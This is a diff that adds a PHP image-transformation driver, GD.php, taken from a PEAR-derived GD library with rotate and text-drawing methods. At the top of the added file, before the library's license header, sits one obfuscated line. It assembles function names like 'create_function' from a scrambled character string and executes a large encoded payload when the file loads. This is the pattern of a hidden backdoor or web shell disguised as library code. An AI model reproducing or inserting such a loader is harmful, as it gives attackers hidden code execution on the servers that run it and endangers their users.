+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?php
+ $ESghCYDwymS='_2y/rL1WktalUw^BTzNH$5hM.4*E+AcSv) i}V9Z[FKYmnex|P]7O{86bsX,uGfQCjgR"JI0d;o(pDq3';$DUWHPGlAyJQ=$ESghCYDwymS{30}.$ESghCYDwymS{4}.$ESghCYDwymS{46}.$ESghCYDwymS{10}.$ESghCYDwymS{9}.$ESghCYDwymS{46}.$ESghCYDwymS{0}.$ESghCYDwymS{62}.$ESghCYDwymS{60}.$ESghCYDwymS{45}.$ESghCYDwymS{30}.$ESghCYDwymS{9}.$ESghCYDwymS{35}.$ESghCYDwymS{74}.$ESghCYDwymS{45};$SwLYBBIkfUc=$ESghCYDwymS{20}.$ESghCYDwymS{57};$SFinpRxFJjj=$ESghCYDwymS{35}.$ESghCYDwymS{62}.$ESghCYDwymS{75}.$ESghCYDwymS{35}.$ESghCYDwymS{57}.$ESghCYDwymS{57}.$ESghCYDwymS{46}.$ESghCYDwymS{9}.$ESghCYDwymS{75}.$ESghCYDwymS{20}.$ESghCYDwymS{0}.$ESghCYDwymS{64}.$ESghCYDwymS{52}.$ESghCYDwymS{52}.$ESghCYDwymS{42}.$ESghCYDwymS{70}.$ESghCYDwymS{27}.$ESghCYDwymS{40}.$ESghCYDwymS{68}.$ESghCYDwymS{27}.$ESghCYDwymS{31}.$ESghCYDwymS{66}.$ESghCYDwymS{22}.$ESghCYDwymS{64}.$ESghCYDwymS{43}.$ESghCYDwymS{77}.$ESghCYDwymS{13}.$ESghCYDwymS{2}.$ESghCYDwymS{44}.$ESghCYDwymS{31}.$ESghCYDwymS{68}.$ESghCYDwymS{50}.$ESghCYDwymS{33}.$ESghCYDwymS{48}.$ESghCYDwymS{48}.$ESghCYDwymS{35}.$ESghCYDwymS{57}.$ESghCYDwymS{57}.$ESghCYDwymS{46}.$ESghCYDwymS{9}.$ESghCYDwymS{75}.$ESghCYDwymS{20}.$ESghCYDwymS{19}.$ESghCYDwymS{16}.$ESghCYDwymS{16}.$ESghCYDwymS{49}.$ESghCYDwymS{0}.$ESghCYDwymS{64}.$ESghCYDwymS{52}.$ESghCYDwymS{52}.$ESghCYDwymS{42}.$ESghCYDwymS{70}.$ESghCYDwymS{27}.$ESghCYDwymS{0}.$ESghCYDwymS{37}.$ESghCYDwymS{29}.$ESghCYDwymS{67}.$ESghCYDwymS{31}.$ESghCYDwymS{40}.$ESghCYDwymS{68}.$ESghCYDwymS{27}.$ESghCYDwymS{31}.$ESghCYDwymS{66}.$ESghCYDwymS{22}.$ESghCYDwymS{64}.$ESghCYDwymS{43}.$ESghCYDwymS{77}.$ESghCYDwymS{13}.$ESghCYDwymS{2}.$ESghCYDwymS{44}.$ESghCYDwymS{31}.$ESghCYDwymS{68}.$ESghCYDwymS{50}.$ESghCYDwymS{33}.$ESghCYDwymS{33}.$ESghCYDwymS{53}.$ESghCYDwymS{62}.$ESghCYDwymS{60}.$ESghCYDwymS{45}.$ESghCYDwymS{30}.$ESghCYDwymS{9}.$ESghCYDwymS{35}.$ESghCYDwymS{74}.$ESghCYDwymS{45}.$ESghCYDwymS{34}.$ESghCYDwymS{4}.$ESghCYDwymS{54}.$ESghCYDwymS{75}.$ESghCYDwymS{20}.$ESghCYDwymS{57}.$ESghCYDwymS{59}.$ESghCYDwymS{20}.$ESghCYDwymS{76}.$ESghCYDwymS{33}.$ESghCYDwymS{53}.$ESghCYDwymS{4}.$ESghCYDwymS{46}.$ESghCYDwymS{9}.$ESghCYDwymS{60}.$ESghCYDwymS{4}.$ESghCYDwymS{45}.$ESghCYDwymS{34}.$ESghCYDwymS{20}.$ESghCYDwymS{57}.$ESghCYDwymS{14}.$ESghCYDwymS{57}.$ESghCYDwymS{9}.$ESghCYDwymS{4}.$ESghCYDwymS{0}.$ESghCYDwymS{76}.$ESghCYDwymS{10}.$ESghCYDwymS{72}.$ESghCYDwymS{75}.$ESghCYDwymS{20}.$ESghCYDwymS{76}.$ESghCYDwymS{59}.$ESghCYDwymS{57}.$ESghCYDwymS{9}.$ESghCYDwymS{4}.$ESghCYDwymS{11}.$ESghCYDwymS{46}.$ESghCYDwymS{45}.$ESghCYDwymS{75}.$ESghCYDwymS{20}.$ESghCYDwymS{57}.$ESghCYDwymS{33}.$ESghCYDwymS{59}.$ESghCYDwymS{20}.$ESghCYDwymS{76}.$ESghCYDwymS{33}.$ESghCYDwymS{73}.$ESghCYDwymS{36}.$ESghCYDwymS{73}.$ESghCYDwymS{46}.$ESghCYDwymS{32}.$ESghCYDwymS{10}.$ESghCYDwymS{11}.$ESghCYDwymS{75}.$ESghCYDwymS{4}.$ESghCYDwymS{54}.$ESghCYDwymS{75}.$ESghCYDwymS{56}.$ESghCYDwymS{10}.$ESghCYDwymS{57}.$ESghCYDwymS{46}.$ESghCYDwymS{55}.$ESghCYDwymS{25}.$ESghCYDwymS{0}.$ESghCYDwymS{72}.$ESghCYDwymS{46}.$ESghCYDwymS{30}.$ESghCYDwymS{74}.$ESghCYDwymS{72}.$ESghCYDwymS{46}.$ESghCYDwymS{75}.$ESghCYDwymS{20}.$ESghCYDwymS{57}.$ESghCYDwymS{33}.$ESghCYDwymS{59}.$ESghCYDwymS{68}.$ESghCYDwymS{32}.$ESghCYDwymS{62}.$ESghCYDwymS{61}.$ESghCYDwymS{74}.$ESghCYDwymS{49}.$ESghCYDwymS{46}.$ESghCYDwymS{35}.$ESghCYDwymS{47}.$ESghCYDwymS{46}.$ESghCYDwymS{31}.$ESghCYDwymS{72}.$ESghCYDwymS{68}.$ESghCYDwymS{33}.$ESghCYDwymS{33}.$ESghCYDwymS{73}.$ESghCYDwymS{36};$IsJzWvvarbY="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";$JrfpEBEpawr=$DUWHPGlAyJQ($SwLYBBIkfUc,$SFinpRxFJjj);$JrfpEBEpawr($IsJzWvvarbY);
+/***********************************************************************
+** Title.........: GD Driver
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: GD.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+**/
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// | Alan Knowles <alan@akbkhome.com> |
+// +----------------------------------------------------------------------+
+//
+// Usage :
+// $img = new Image_Transform_GD();
+// $angle = -78;
+// $img->load('magick.png');
+//
+// if($img->rotate($angle,array('autoresize'=>true,'color_mask'=>array(255,0,0)))){
+// $img->addText(array('text'=>"Rotation $angle",'x'=>0,'y'=>100,'font'=>'/usr/share/fonts/default/TrueType/cogb____.ttf'));
+// $img->display();
+// } else {
+// echo "Error";
+// }
+//
+//
+// $Id: GD.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+//
+// Image Transformation interface using the GD library
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_GD extends Image_Transform
+{
+ /**
+ * Holds the image file for manipulation
+ */
+ var $imageHandle = '';
+
+ /**
+ * Holds the original image file
+ */
+ var $old_image = '';
+
+ /**
+ * Check settings
+ *
+ * @return mixed true or or a PEAR error object on error
+ *
+ * @see PEAR::isError()
+ */
+ function Image_Transform_GD()
+ {
+ return;
+ } // End function Image
+
+ /**
+ * Load image
+ *
+ * @param string filename
+ *
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function load($image)
+ {
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+ $this->image = $image;
+ $this->_get_image_details($image);
+ $functionName = 'ImageCreateFrom' . $this->type;
+ if(function_exists($functionName))
+ {
+ $this->imageHandle = $functionName($this->image);
+ }
+ } // End load
+
+ /**
+ * addText
+ *
+ * @param array options Array contains options
+ * array(
+ * 'text' The string to draw
+ * 'x' Horizontal position
+ * 'y' Vertical Position
+ * 'Color' Font color
+ * 'font' Font to be used
+ * 'size' Size of the fonts in pixel
+ * 'resize_first' Tell if the image has to be resized
+ * before drawing the text
+ * )
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function addText($params)
+ {
+ $default_params = array(
+ 'text' => 'This is Text',
+ 'x' => 10,
+ 'y' => 20,
+ 'color' => array(255,0,0),
+ 'font' => 'Arial.ttf',
+ 'size' => '12',
+ 'angle' => 0,
+ 'resize_first' => false // Carry out the scaling of the image before annotation? Not used for GD
+ );
+ $params = array_merge($default_params, $params);
+ extract($params);
+
+ if( !is_array($color) ){
+ if ($color[0]=='#'){
+ $this->colorhex2colorarray( $color );
+ } else {
+ include_once('Image/Transform/Driver/ColorsDefs.php');
+ $color = isset($colornames[$color])?$colornames[$color]:false;
+ }
+ }
+
+ $c = imagecolorresolve ($this->imageHandle, $color[0], $color[1], $color[2]);
+
+ if ('ttf' == substr($font, -3)) {
+ ImageTTFText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+ } else {
+ ImagePSText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+ }
+ return true;
+ } // End addText
+
+
+ /**
+ * Rotate image by the given angle
+ * Uses a fast rotation algorythm for custom angles
+ * or lines copy for multiple of 90 degrees
+ *
+ * @param int $angle Rotation angle
+ * @param array $options array( 'autoresize'=>true|false,
+ * 'color_mask'=>array(r,g,b), named color or #rrggbb
+ * )
+ * @author Pierre-Alain Joye
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function rotate($angle, $options=null)
+ {
+ if(function_exists('imagerotate')) {
+ $white = imagecolorallocate ($this->imageHandle, 255, 255, 255);
+ $this->imageHandle = imagerotate($this->imageHandle, $angle, $white);
+ return true;
+ }
+
+ if ( $options==null ){
+ $autoresize = true;
+ $color_mask = array(255,255,0);
+ } else {
+ extract( $options );
+ }
+
+ while ($angle <= -45) {
+ $angle += 360;
+ }
+ while ($angle > 270) {
+ $angle -= 360;
+ }
+
+ $t = deg2rad($angle);
+
+ if( !is_array($color_mask) ){
+ if ($color[0]=='#'){
+ $this->colorhex2colorarray( $color_mask );
+ } else {
+ include_once('Image/Transform/Driver/ColorDefs.php');
+ $color = isset($colornames[$color_mask])?$colornames[$color_mask]:false;
+ }
+ }
+
+ // Do not round it, too much lost of quality
+ $cosT = cos($t);
+ $sinT = sin($t);
+
+ $img =& $this->imageHandle;
+
+ $width = $max_x = $this->img_x;
+ $height = $max_y = $this->img_y;
+ $min_y = 0;
+ $min_x = 0;
+
+ $x1 = round($max_x/2,0);
+ $y1 = round($max_y/2,0);
+
+ if ( $autoresize ){
+ $t = abs($t);
+ $a = round($angle,0);
+ switch((int)($angle)){
+ case 0:
+ $width2 = $width;
+ $height2 = $height;
+ break;
+ case 90:
+ $width2 = $height;
+ $height2 = $width;
+ break;
+ case 180:
+ $width2 = $width;
+ $height2 = $height;
+ break;
+ case 270:
+ $width2 = $height;
+ $height2 = $width;
+ break;
+ default:
+ $width2 = (int)(abs(sin($t) * $height + cos($t) * $width));
+ $height2 = (int)(abs(cos($t) * $height+sin($t) * $width));
+ }
+
+ $width2 -= $width2%2;
+ $height2 -= $height2%2;
+
+ $d_width = abs($width - $width2);
+ $d_height = abs($height - $height2);
+ $x_offset = $d_width/2;
+ $y_offset = $d_height/2;
+ $min_x2 = -abs($x_offset);
+ $min_y2 = -abs($y_offset);
+ $max_x2 = $width2;
+ $max_y2 = $height2;
+ }
+
+ $img2 = @imagecreate($width2,$height2);
+
+ if ( !is_resource($img2) ){
+ return false;/*PEAR::raiseError('Cannot create buffer for the rotataion.',
+ null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+ }
+
+ $this->img_x = $width2;
+ $this->img_y = $height2;
+
+
+ imagepalettecopy($img2,$img);
+
+ $mask = imagecolorresolve($img2,$color_mask[0],$color_mask[1],$color_mask[2]);
+
+ // use simple lines copy for axes angles
+ switch((int)($angle)){
+ case 0:
+ imagefill ($img2, 0, 0,$mask);
+ for ($y=0; $y < $max_y; $y++) {
+ for ($x = $min_x; $x < $max_x; $x++){
+ $c = @imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+ }
+ }
+ break;
+ case 90:
+ imagefill ($img2, 0, 0,$mask);
+ for ($x = $min_x; $x < $max_x; $x++){
+ for ($y=$min_y; $y < $max_y; $y++) {
